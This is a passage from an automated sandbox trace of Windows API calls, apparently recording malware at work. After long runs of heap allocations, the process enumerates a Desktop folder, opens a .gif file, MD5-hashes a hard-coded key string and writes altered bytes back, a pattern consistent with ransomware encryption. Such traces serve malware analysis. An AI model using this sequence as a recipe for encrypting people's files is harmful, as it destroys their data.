dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.533] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.533] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.533] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.533] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.533] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.533] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.533] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.533] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.533] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.533] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.533] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.534] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.534] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.534] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.534] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.534] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.534] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.534] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.534] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.534] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.534] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.534] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.534] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.534] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.534] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.534] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.534] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.534] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.534] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.534] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.534] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.534] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.534] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.534] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.534] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.534] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.534] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.534] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.534] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.534] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0112.534] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0112.534] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0112.535] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.535] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.535] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.535] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.535] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.535] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.535] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.535] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.535] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.535] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.535] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.535] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.535] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.535] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.535] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.535] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.535] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.535] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.535] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.535] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.535] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.535] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.535] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.535] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.535] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0112.535] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.535] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.535] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.535] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.535] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.535] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.535] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.535] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.536] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.536] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.536] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.536] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.536] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.536] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.536] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.536] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.536] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.536] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.536] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.536] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.536] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.536] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.536] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.536] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.536] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.536] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.536] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.536] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.536] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.536] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.536] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.536] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.536] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.536] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.536] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.536] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.536] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.536] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.536] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.536] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.536] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0112.537] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0112.537] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0112.537] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.537] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.537] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.537] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.537] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.537] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.537] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.537] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.537] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.537] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.537] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.537] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.537] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.537] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.537] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.537] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.537] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.537] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.537] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.537] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.537] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.537] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.537] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.537] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.537] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0112.537] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.537] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.537] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.537] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.538] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.538] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.538] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.538] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.538] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.538] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.538] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.538] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.538] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.538] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.538] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.538] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.538] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.538] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.538] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.538] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.538] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.538] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.538] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.538] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.538] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.538] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.538] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.538] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.538] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\j_8df4HNVB0C0RCpZ-GV\\") returned="j_8df4HNVB0C0RCpZ-GV\\" [0112.538] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05da0 [0112.538] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0da78 [0112.538] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.538] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0112.538] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1aec8 [0112.538] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0da78 | out: hHeap=0x5010000) returned 1 [0112.539] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.539] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0112.539] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1aec8 | out: hHeap=0x5010000) returned 1 [0112.539] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.539] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0112.539] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.539] PathFindFileNameW (pszPath="") returned="" [0112.539] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.539] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\j_8df4HNVB0C0RCpZ-GV\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34a34f50, ftCreationTime.dwHighDateTime=0x1d4cc68, ftLastAccessTime.dwLowDateTime=0x271a4890, ftLastAccessTime.dwHighDateTime=0x1d4ce4b, ftLastWriteTime.dwLowDateTime=0x271a4890, ftLastWriteTime.dwHighDateTime=0x1d4ce4b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0112.539] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.539] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34a34f50, ftCreationTime.dwHighDateTime=0x1d4cc68, ftLastAccessTime.dwLowDateTime=0x271a4890, ftLastAccessTime.dwHighDateTime=0x1d4ce4b, ftLastWriteTime.dwLowDateTime=0x271a4890, ftLastWriteTime.dwHighDateTime=0x1d4ce4b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.540] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x394d6ad0, ftCreationTime.dwHighDateTime=0x1d4cd36, ftLastAccessTime.dwLowDateTime=0x226e3710, ftLastAccessTime.dwHighDateTime=0x1d4c834, ftLastWriteTime.dwLowDateTime=0x226e3710, ftLastWriteTime.dwHighDateTime=0x1d4c834, nFileSizeHigh=0x0, nFileSizeLow=0xb96c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ms3o6q-3xW GcAnXpq.gif", cAlternateFileName="MS3O6Q~1.GIF")) returned 1 [0112.540] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.540] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xbe) returned 0x7a20998 [0112.540] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.540] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\j_8df4HNVB0C0RCpZ-GV\\ms3o6q-3xW GcAnXpq.gif") returned=".gif" [0112.540] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\j_8df4HNVB0C0RCpZ-GV\\ms3o6q-3xW GcAnXpq.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\j_8df4hnvb0c0rcpz-gv\\ms3o6q-3xw gcanxpq.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.541] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=47468) returned 1 [0112.541] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.542] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xb946, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.542] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.543] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0112.544] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.544] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.544] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0xb96c, lpOverlapped=0x0) returned 1 [0112.544] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.544] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0112.544] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.544] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.544] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecac8) returned 1 [0112.545] CryptCreateHash (in: hProv=0x50ecac8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.545] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.545] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.545] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0112.545] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.545] GetLastError () returned 0x0 [0112.545] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.545] CryptReleaseContext (hProv=0x50ecac8, dwFlags=0x0) returned 1 [0112.545] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0112.546] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb970) returned 0x7b182e0 [0112.546] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0112.546] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.546] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0xb967, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0xb967, lpOverlapped=0x0) returned 1 [0112.546] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.546] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xb96c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.546] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c2b8 [0112.546] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0112.546] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, 